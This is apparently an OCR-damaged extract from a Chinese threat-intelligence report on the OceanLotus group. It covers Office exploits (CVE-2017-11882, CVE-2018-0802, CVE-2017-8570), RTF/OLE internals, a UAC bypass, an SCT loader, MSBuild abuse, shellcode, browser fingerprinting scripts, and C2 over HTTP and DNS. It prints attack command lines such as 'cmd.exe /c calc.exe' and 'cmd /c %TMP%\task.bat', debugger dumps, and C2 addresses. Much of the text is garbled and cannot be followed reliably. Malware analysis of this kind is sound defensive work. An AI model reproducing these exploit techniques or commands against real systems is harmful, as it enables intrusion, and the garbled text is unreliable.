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Office 20031 H [k a v _ O (Structured Storage, SS)
W A w DOC XLS PPT A 3 b Composite Document File

V2 Document(CDF)A
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NativeDataSize (4 EYTES)
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Version (4 EYTES)

Flags (4 BYTES)
LinkUpdateOption (4 EYTES)
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:r publisher. ¢
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ige (HTML) control. ¢

Control word+

Meaning ¢

\objlink ¢
lobjautlink
\objsub
\objpub«
\objicemb
\objhtml«

\objocx <

An object type of OLE link.

An object type of Macintosh Edition Manage

An object type of Macintosh Edition Manage
An object type of MS Word for the Macintos

An object type of Hypertext Markup Langua

An object type of OLE control.+

ame document. ¢

Object Information <

\linkself <
\objlock+«

The object is a link to another part of the s:

Locks the object from any updates. «
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EiE) RTF-OLEObject.ss As HEX | AsText | AsPicture | As RTF | as HTML
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A171 if [ connactliple |- 0TV,
6172 {
6173
6174 {
6175 sb.Length = @;
&17& ch A.‘.‘nnar-:.‘.-{,...ﬁ_l\l.

if (

{

ition is used, the rest are commented out in the proxy
FigureProxy(this.GetType(), ");
[sValidurl(( ng)_connectURLs[1]));

for (int i=@; i<_connectURLs.Count; i++)

A

P Y L P Ry

sb.Append("base.ConfigureProxy(this.GetType(

Ebﬂﬁﬁﬁcnc( B

}
else
{
// Only the first loc:
sb.Append("//base.Con’
sb.Append(lisdlParser. !
sb.Append(”);");
}
textWriter .WriteLine(sb);
}
}
[ 1€
n T i T URLA
A A
T K 9 A

0 2T 4D ;a W ¥ URL
a y OB URL
- WLT "~ Wa © 0
internal static string IsValidurl(string value)
{
if (!System.Runtime.Remoting.Configuration.AppSettings.AllowUnsanitizedWSDLUrls)
{
return WsdlParser.TransliterateString(value);
1
if (value == null)
{
Peturn "\
¥

vsb.Length= 8;
vsb.Append("@\"");

for (int i=@; i<value.lLength; i++)

{

(vé Lo _ L] == "\"")
vsb.Append("\"\"");
else
vsb.Append(value[i]);

¥

vsb.Append("\"");
return vsb.ToString();
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aseletter //UnicodeCategory: (Lu)Uppercaseletter, (L1)Lowerc

StringBuilder sb = new StringBuilder("\"");

foreach (char ¢ in str)

{
if (char.IsControl(c))
{
continue;
}
if (char.IsLetterOrDigit(c))
{
sb.Append(c);
}
{
sb.Append("\\u");
Int32(c).ToString("X4")); sb.Append( .Tc
b
b
sb.Append("\"");
return sb.ToString();
}
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struct EQNOLEFILEHDR {

WORD  cbHdr; // v W Ox1CA
DWORD  version;  // W 0x00020000A
WORD  cf; // E < A
DWORD  cbObject; // MTEF b’ A
DWORD reservedl; // E
DWORD reserved2; // E
DWORD reserved3; // E
DWORD reserved4; // E
}s
% T ! A
00000900 1C 00 00 00 02 I.:Jl".} BE C3 45 00 00 00 00 00 00 00| 3"iit]?. .......
00000910 28 24 &8 00 7C A8 &9 00 00 OO0 00 OO (fhol "i.uua.
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0-1 cbHdr E 0x001C
2-5 version g 0x00020000
6-7 cf < 0xC3BE
8-11 cbObject MTEF 0x45 4 69
12-15 reservedl E 0x00000000
16-19 reserved?2 ‘E 0x00682428
20-23 reserved3 ‘E 0x0069A87C
24-27 reserved4 ‘E 0x00000000
E w E AE a U
Q0000910 P
00000920 85 20 2F 63 63 chd.exe Jcc
00000930 141 alc.exe s ARRRRA
00000940 41 ARRRRRRRRRRRRRAR
Q0000950 02 | A,.C.d...B...f..
00000960
57 CVE-2017-11882 4 I 5€e
MTEF v.3'E T F5a¢ - " ‘
Z \
0 MTEF gl 0x03
1 ) 0x00 Macintosh ~ © 0x01
Windows A W O0x01A
2 * 0x00 MathType 0x01 E
A W Ox01A
3 “ h ~ 0x03
4 T ~ 0x0A
H 44 'E A
OX0A w SIZE 7\ We A



0x08 w FONT T |7; A
v
0x08 FONT
0x02 typeface
0x81 r
0x636D642E. ..... r Y "4 9T cmd.exe...
v




0012F280| B8812F2EC
BO12F284| 77EFDFB1|iE[O)¥| GDI32.77EFDFB1 3EQ GD:
0012F288| 938112FB
BO12F28C| BB12F2A4
B012F2908| 77EFDFCS|jE[D]F| GDI32.77EFDFCS EH nt
B012F294| 77EFDFED|}E[D]F| GDI32.77EFDFED EH GD!
B012F298| 77EFDFDA|JE[D]E| GDI32.77EFDFDA EH GD!
BO12F29C| BB12F660
0012F2A0| BB12FABS ‘ o
B912F204| BOBEBB21 _ RS AT A
0012F2A%| BOBBFFFF
BO12F2AC | BB12F2F 0
B612F2E0|| 8411508 35 [O)F| EQHNEDT32.804115D8 EH
0012F2B4|| BB12F430
0012F2E8 || BAAAABOA
0012F2BC || BB12F2CC
AR4A2E2 M0 OR1PCARAD
59 CVE-2017-11882 4 r7e
12 4 NS [QE%3 99347 ABIFCE]
6612F27C| 20820FF1E
66812F280| B6812F2EC
0612F284| 2E646D63
0812F288| 28657865
B812F28C| 6163632F
66812F290| 652E636C
B812F294| 26206578
B b —
TETETET ‘
ot O F Sy i R o
TR
T o
g g e o
ITZEZE%] 0012F430 ol
#12F2B8| 00000000 @i
#12F2BC| B012F2CC ai
#12F2C0| 0012F660 @i
B12F2C4| 0012F688 ]
60 CVE-2017-11882 4 I 8€
k P 7 kT [~ E ASLRA @
0x00430C12 G P WinExec A r Dy A

$T3 empty -1.6935811826736
ST4 empty 2.80534921991198
ST empty 1.825687261279498
SIA ennty A AAARATARZ9797 4!

66436018 [[:FILL Z| WinExec 3 EQHEDT32.00430C12

8012F430|| CmdLine = "cmd.exe /fccalc.exe & AAAAAAAAAAAAAAAAAAAAAAA™,12,"",8C,"C"
00000000 (LShowState = SW_HIDE
B812F2CC|ASCII ""MS Reference Specialty”

A812F668

RAAICAO00

61 CVE-2017-11882 4 [ o€



CVE-2017-11882 cmd/mshta/powershell D n

2017 12 F =a shellcode W T A1 TF T vz w
shellcode A
G @ k oL v W oK [ A A
2018 1 T - E 3.0 @ b (OfficeT £V @
a ° bwa E YA
3.2.5 DDE +
DDE(Dynamic Data Exchange) W H v ~ Office A
officeT~ w O v We 0 ’ 2 Tt DDET p
W 0 A

00XML B T~ DDEAUTO DA’ D) ) Y
word\document.xmlA
W L e n y 7 ER v w k A
3.3 ° (¥ 4
2018 A [ We ., D A W Ne
Y fa v DeA
Y y a_ = Packager.dll L~ @ D [ WTMP% A A
” #
1 decoy.doc Package )
2 task.bat Package T Y%uudt i
b %Temp%\block.txtH u ¢ T
2nd.batA
3 exe.exe Package Loki (Dyzap)
4 2nd.bat Package © EXE.EXE Word N n
X 1 DY
decoy.docA
5 inteldriverupdl .sct Package " task.bat b A
Ta d n

(1) CVE-2017-8570

LINULINUL W ULINULINULINULINULINULINULINULINULINUL

NUL’ULNUL ULINULINULINULINULINULINULINLY ! JETXINULIXFEIXE
LINULISOHINULINULINULISOHINULINULINULINULINULINULINULINULIDL EINULINULISTXINULINULINULISOHINULINUL
LNULLxFEICFEI PRI FEICFFIFEIFEIXE I FEIXFFIXFEIXFFIXFFIXEFIXFEIXFFIXFFIXFEIXFEIXFFIXEEIXFEIXEF

63 ¢ I 1€

=

objd

ULINULINULINULIS TXINUL)
xDOCFIDC LimlSUBIXELINU
NULJACKINULINULINULINULINULINUL]
NULIXFELxFFIXFFIXFFINULINULINUL

EEEE
BEE e
e

;
| 3 3=

===
=
m




o 1%

a = \bin~ a
A

Ty W 2633

Y OffvisT

000005C0 14 00 02 00 FF FF FF FF FF FF FF FF FF FF FF FF  ....{0099idvyve
00000500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0O
anonnsEn (1 [ fiff 00 00 00 00,0000 Ao 0o 0o oo
o Ty A T STy T

Nt ) vy "

toni: | anindl ek 1

ke !

i ]

0x2 i

0x0

D

OxFFFFFFFF

DR

0x0

0x0

(4]

ox0

xlin

[

oo 02 09
00 00 00 00
§00 00 00 00 CO
03 00 o0 o0
o0 12 00 00
oo oo o0 o0

o0 00 00 CO 00
o0 00 00
ob o0 00 CO o0
oo oo oo
o0 oo o0

oo oo 00
oo ool 09
op 46/ 02
00 00 00
oo 0o 00
oo 0o 00

2633 @

L FATLLED)
[ MiniFAT[128]

Y

64 ¢

OLE

sy

T I

CVE-2018-0802

No 3T M #

\mmath’

a = Composite Moniker

W " %TMP%\inteldriverupdl.sct o A

Y @ s Ne A

(2) CVE-2017-11882
H o a

¢ E

O ke
Type

- ThyFlags

~ sidlali
sidRight

- iChikd

}- dsid This

UserFags
CreateTime
- Molity e
StartSect
Bl ow

Composite Moniker

File Moniker

r2e

sct b

NeA

No 7

File Moniker
G ~ task.bat

destination”

A
v OxFF

©

V)

253 ;

s TEK

A8 FIOUTE

New Moniker

A

ASKIE




Wa'E Ne ::: ) o ) FONT 0 ¥
(CVE-2017-11882) Wy p W WinExec('cmd /c %TMP%\task.bat) D A

As HEX | AsText ]’ As Picture ] AsRTF | asHTML

!CDD Q000 0200 SEC4 RSO0 0000 0000 000C
C2A7 5C00 C4EE S5BOO0 0000 0000 0201 0O
OROR 0800 0LE3® COS0 2D44 2452 S0EE 7T

e —_—
TLeARRReAOBE " T -

Baj tmpnycm2r
OCompObj

0x00000000
0x00000010

-] CIObjInfo

0x00000020

0x00000040
0x00000050
Ox0ODDDOSD
0x00000070
Ox0ONNNOHD
R L T
Ox000000A0

Ox000000B0O

Oe0ONONOCH

67 ¢ I 5€

e 'E Ne 't - FONT 0 ¥~ w 0 CVE-2018-
0802 N W "cmd /c %TMP%\task.bat "
(3) CVE-2018-4878
T °~ =We Shockwave Flash - v 0 CVE-2018-4878
W "cmd.exe /c %TEMP%\task.bat" o A
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Dol "H L~ OceanLotus Google App

@gmail.com

wants to

4

Read, send, delete, and manage your email

©

View your contacts

2

View the activity history of your Google
apps

Allow to do this?

] Allow u allow thi ) HUVIT 111

[ RES 15 |

cies. You can

accordance to their terr service and priva

ed to your account in

CANCEL ALLOW

remove this or any other app connec

My Account
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FHEHI\HKEY LOCAL MACHINE\SOFTWARE\Classes\mscfile\shelhopemcommand
] ) ms-availablenetworks ~ || = E=ill s

mscfile REG_EXPAND SZ  %SystemRoot¥\system32Z\mmc.exe "%1" %*

Defaultlcon
shell

> Author
open

: command

RunAs

74 4 rae

e ~ =~

z eventvwr.exe k \Y; 4 b UAC B

2. ¢&vr BE
H DT~ a  Winword.exe wwlib.dllbwy » b -
Winword.exe 4 Office Word h A Winword.exe w ¥

~

wwlib.dll “ Ty ¥ Wae DLL' £ v n

>

N
»E -
o —

k2?xm1 version=ri.on?>
J<package>
J<component
Jescript lan
<! [CDATA[
Jfunction setversion() {

var shell = new ActiveXChject ('WScript.Shell'):

ver = "v4.0.30319';

lery

shell.RegRead ('HEKLMA\SCFIWARE\\Microsoft\\ .NETFramework\\v4.0.30319\\ "}
} catchie) {

ver = '"v2.0.50727"';

d="testCalc">
guage="JSoript">

shell.Environment ('Process') ('COMPLUS_Version') = wer;

function debug(s) {}

Jfunction baseé4ToStream(b) {
war enc = new ActiveXObject ("System.Text.ASCITEncading™):
var length = enc.GetByteCount 2 (b);
var ba = enc.GetBytes_4(b):
var transform = new ActiveXObject ("System.Security.Cryptography.FromBaseé4Transform”):
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new hotiveXObject ("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3):
ms.Position = 0;
return ms;
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aa DeHup T~ # MSBuild.exe Dp
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MSBui Id L Wae G Ty XML ) L=
b D~ Y Visual Studio T b A
XML pT Y W b~ L p = - (Ol

T c# q A H ~ MSBuild "H Task "H H KF w Ty



N ~ .

Y # y Task ¢ 9

<Project DefaultTargets = "Compile"
x¥mlns="http://schemas.microsoft.com/developer/msbuild/2e83" >

«l-- Set the application name as a property --»
<PropertyGroup>

<appname>HellolorldCS</appname>
</PropertyGroup>
<!-- Specify the inputs by type and file name -->
<ItemGroup>

<CSFile Include = "consolehwesl.cs"/>
</ItemGroup>

<Target Name = "Compile"»

<!-- Run the visual C# compilation using input files of type CSFile --»
<C5C
Sources = "@(CSFile)"
OutputAssembly = "$(appname).exe">
<!-- Set the OutputAssembly attribute of the CSC task
+n tha nama Af $ha Opacidakle £3T1n fhadk i rmandnd
<Cutput
T er = "OutputAssembly”
I "EXEFile™ /»
</C5C>
<!-- Log the file name of the output file -->
<Message Text="The output file is @(EXEFile)"/>
</Target>
/Projects
76 E| " 6€

Ty Wa EXE

803B0BAAA

8083B0A2F

4.1.1.3

IF [ Dp ©T° w
v 0 \ H ~ H
a ! p A
n o T b
“ 1 js r e

va

P~ 1

FC
EE OoBp0B00

E8 DUFFFFFF
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Powershell
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W @ Powershell
by: 3 77 Y

cld

call BB3BO606

] short oe3pBes2F
edx Consoled. 884816873
ecH,
edx,
esi,
esi,ecx
edx,
edx ntdll.KiFastSystemCallRet
ebp,
ebp,ecx

kernel32 . 7C88189C

kernel32 . 7C88189C

ecx,ebp

edx,

esi,

ebp,ebp

esi,ebp

short 8683BOB2C

short BB3BE6E616

BCx Consoled. 884816873
ecx kernel32.7C88189C
call BB3BO608
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5. mrianiload.sais

wetion ia, bi *= typeof window- * window- :=this, fur

r
[1

T & = - document,
2 = Ahdsr~t maEDrakakimang |
t = coulios,
g = c.concat,
h = c.push,
i = c.indexOf,
j =
k=
I
: ; m.call (Cbisct) ,
o = {};
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' , , Ne , DPI,CPU ,CPU , Ne
,BuildID “ jsHeapSizeLimit screen.colorDepth’ Java ¥
cookie IP
T H o [c& +F Ad H N

: browserhash,

: array2ijson(window.listIP) .replace(/"/g,
"h

: browserhash, 't : Extended Brows

{client}.
R

=screen awidth™ 1" = Ilscreea hEights=_ = Toov=E

=windew=suterWidtlh— . J=aranfo=—{- =577~
: I wirndow. outerHeight; = Latio (20 0 mavigator-language,. " Ceskis—
Tt Ll Enabled : inuisLloasoo. CorsmTTak Ll ‘Yes : 'No' " Java Enabkbled :
“Yes® : ‘No' };
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. navigator[ O0x€400[258]]1[_ 0xe400[2Z2c]] = {

activex: navigator[_0x6400[4011]1[_0x€400[34511(),
cors: navigator[ Ox6400[401]] [ _Oxe400[4Zc]11() .,
flash: navigator[ Oxe400[401]1]1[_ 0xe400[42Z7110) .
foxit: navigator[ 0x6400[401]11[_0xe400[425110),
Jjava: navigator[ O0=xe400[401]]1[_ 0xe400[4235]11 Q).
phonegap: navigator([ O0x6400[401]1]1[_0x6400[40511() .
quicktime: navigator[_ 0x6400[40111[_0x6400[42011().,
realplayer: navigator[ Ox6400[201]1][_0Oxe400[421]114() .,
silverlight: navigator[_0x6400[401]1]1[_0xe400[422110),
touch: navigator[ O0xé400[401]][_0x6400[422]110),
vbhbscript: navigator[ Ox€400[401]1][_0x6400[424110),
vlc: navigator[_ 0x6400[401]11[_0xe400[425110() .,
webrtc: navigator[ O0x€400[401]]1[ 0xed400[42c]]1(),
websocket: navigator[ 0x6400[40L1]1]1[_0Oxe400[427110).,
wmp: navigator[ O0Ox€400[401]11[_0x6400[422110)

. navigator[ O0=x€400[258]][_ 0xed400[225]] = {

width: screen[ 0x6400[246]11,

height: screen[ Ox€6400[245]11,

availWidth: screen[ 0=E6400[440]1],

availHeight: screen[_0=6400[441]],

e Ty Tl vren oA T RO RENCT ytan, 5 o e DG TR T el AR TSR st
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ad. jqueryclick.com/117efea9-be70-5412-9336-893c5a0defal

"{"history":{"client title":"",
"client url®:" ",

"client cookie":"SID= .;
APISID= ;

SAPISTID= ;

UULE= ;
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L
1 ) Installed complete,
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|
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BB4B1EFE| . “http://80.255.3_189/Ff1as™
@B4A1F7F| . FF7h24 24

Jriee e | . . e e e oo g T

¢ S5 L[RTp Y
dword ptr ss:[esp+8xiC]
duword ptr ss:[esp+Bx46C]
duord ptr ss:[esp+8x8]
-dword ptr ss:[esp+8x8]

83 4 I 13€

~ 3" Shellcode q A" shellcode "~y [Wa dll »

edi BOFCA83Cc
edx,

edi,

ebp,

ebp,edx

edi,

edi

ecx,

ecy,edx

edx,ecx
edi,
ebp,
XOF BCX,BCX
cmp ebp,ecx
short BBFCOB2C
short BBFCOB16
edx BBFCB83C
M edx
call BBFCHBBB
aas
salc
mov esp,

A BO12FAF O ERTIgHTR]H
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B1048EC1 33ce Bax,eax

B1B848EC3 88BA 28888761

B1848ECA L8 i eax

01048ECB 3D 88188088 eax,

91048EDDO|" 7C F1 short B81848EC3

B1848ED2 68 BO100000

B1048EDY B9 288088701 mov ecx,B8x10708028

804424 14 lea eax,dword ptr ss:[esp+Bx14
ds:[81871828]=08 (Backspace)

81678148 80 BB 80| B0 00 PO 00| PO OO BA 00| 00 68

81670158 | 88 68 00| A0 DD DD BO| GO OO B0 08| 0B B3

91670168 38 2E 32|35 35 2E 33|2E 31 38 39|2C 2F 2F|808.255.3.189,/s

8187817872 66 3D|6E 62 5F 73|62 S5F 6E 6F |73 73 31| ref=nb_ Sh noss_1
nan nnlao

A4 RTR4onl ar

58 eax

FF75 F4 dword ptr ss:[ebp-8xG]
FF?75 FB dword ptr ss:[ebp-8x18]
E8 2BCOFFFF 8180835B5

FF15 E8518281 kernel32.GetCurrentProcessId

ASCI1 “%d\t3d\t%d.2d\EZs\E2s\ELs\tH1606C 68 DACOB201 8x182C8D4
B16886CAB| 56
§1806CAC| FF75 68
ES FFDEGB0O  |[ES10 e1614BB3

P e ]

ASCII [TAPAZ 1] O6FA4LFE[ASCIT “LB9\t1996%\ iy HEX i
36|89 35 2E 31 89 31 39 32|4p99. 0012F0D4 ‘3‘3‘3‘3‘31‘3‘3 BOFA4LFE| 34 36 39 09]31 39
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T LD
818682208
a18822p9
818822DF
818822E8
818822E2
8100822E3
810022E8
8100822E9
818822EF
8180822F5
8100822F6
818822FC

53
8D85 F4FAFFFF

EB ABGEOBOA
e

FF35 948003601
FF15 CA528281
e

8985 DBEEFFFF
E8 AEFBFFFF

lea eax,dword
EH]

edx
call 61008E8S8
EH]

call

eax
mov dword ptr
call 81881EAF

ptr ss:[ebp-8=56C]

ss:i[ebp-8x1128],eax

aacceaty

wininet.HttpOpenRequesth

ds:[818252C8]=771C2AF? (wininet.HttpOpenRequestA)

+ BA12E888 ETIHHTR
ASCIT "GET"

ASCIT "“/s/ref

0012E8BS
0012E8CS
8012E8DS
G012EBES
BB12E8F8
8012E908
8012E918
8012E928
8012E938
B012E948
8012E958
8012E968
8012E978
8012E988
A012E998
8012E9A8
8012E9B8
8812E9C8

Accept: =/*_._Hos
t: wwu.amazon.co
m..Cookie: skin=
noskin;session-t
oken=UGUHLixDITn
FUq1XEAppfOroFyk
eif/As/udpNZSBP6
YEmRB2rncq49cpmD
KHEnKw+chu9LrWin
mSoPplHYWGZ9RKSFQ
7uBBGbmnixBrLLIy
EYfgHsKRglgQaus?
Ka3tUbghx15C8a/ 1
j2xkqojapTdgZPbr
rnFuf8%ewbsSQUuju

ASCII "%s"

8L F H 7! Y ¥ F vW ¥ A Host h
~ % ~
N H A Host A
GET /s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books HTTP/1.1
Host: www.amazon.com
Accept: */*
Cookie: skin=noskin;session-token=j+0t1@/XY2DGYF9s6V49Tsshl3Gg/vbLFRBExki/uxIje/ohailtmKquoUPBalGxxd+L+gdESDptlvhulyOryASkZrT
+L7MvQuiQTHN@3dHHBFXXa@nTVxQEDHL 3AUM+yoLYF161z4F8NbrGGCr8]a6S2tBHILribkCcY3ES I wd=csm-hit=s-24KU11BB82RZSYGI3BDK | 1419899012996
User-Agent: Mozilla/5.8® (Windows NT 6.1; WOWe4; Trident/7.8; rv:11.8) like Gecko
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 288 OK
Date: Wed, 15 Nov 2017 ©9:32:14 GMT
Server: Server
x-amz-id-1: THKUYEZKCKPGYS5T42PZT
x-amz-id-2: a2lyZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rimRuZ2tmZGl4aHRvNDVpbgo=
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Fodcea 1 oaL. A
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41130~Te01"ServicePackl”6.1"WindowsTProfessional”7601.winTspl rtm.1011139-1850
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3.~ DNS J Denis

Denis a W # DNSY D 0 3eaT A
S B

a. v 4 v® Base64 0 DNS + 8.8.8.8A
DNS 0 BotlD

4 (Queries
4 | AAAAAMAMAAAAAAAAAMAAAAANMANAAFKN . . teriava. com: type NULL, class IN

Name: AAAAAAAAAMAAAAAAAAAAAAAMAAAAMAFKN. Zz. teriava.com
[Name Lensth: 461

[ Al TR -
,.w-lunl~4fﬁ’i;y

Ly,
L

0030 H¢ 68 H8 g8 dy e

2848
2858
... D860 08 00 29 99 B8P 98 .
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b.C&C F BotlD' BotlD 2 zlib 4 41 T 789 A



4 Answers
4 AAAAAAAAAAMAAAAAAAAAAAAAAAAAATEM . 7 . teriava. com: type NULL, class IN
Mame: AAAMAAAAAAAAAAAAAAAAAAAAAAAALATgM. z. teriava. com

s A Ay B A R R S L GLAR AR i .00 PryerEp—
ELE L RSB S W F 0 ——— . o .. AFRR . _I}_,'f‘ﬁﬁ "'r’i—d"l—l"ill-’ff?‘i HEY Hiia
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TR AARASAAR ARARAAAA - ASAR RN R R R R R TR
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C. Denis C&C O H ~ h ~ A ) zlib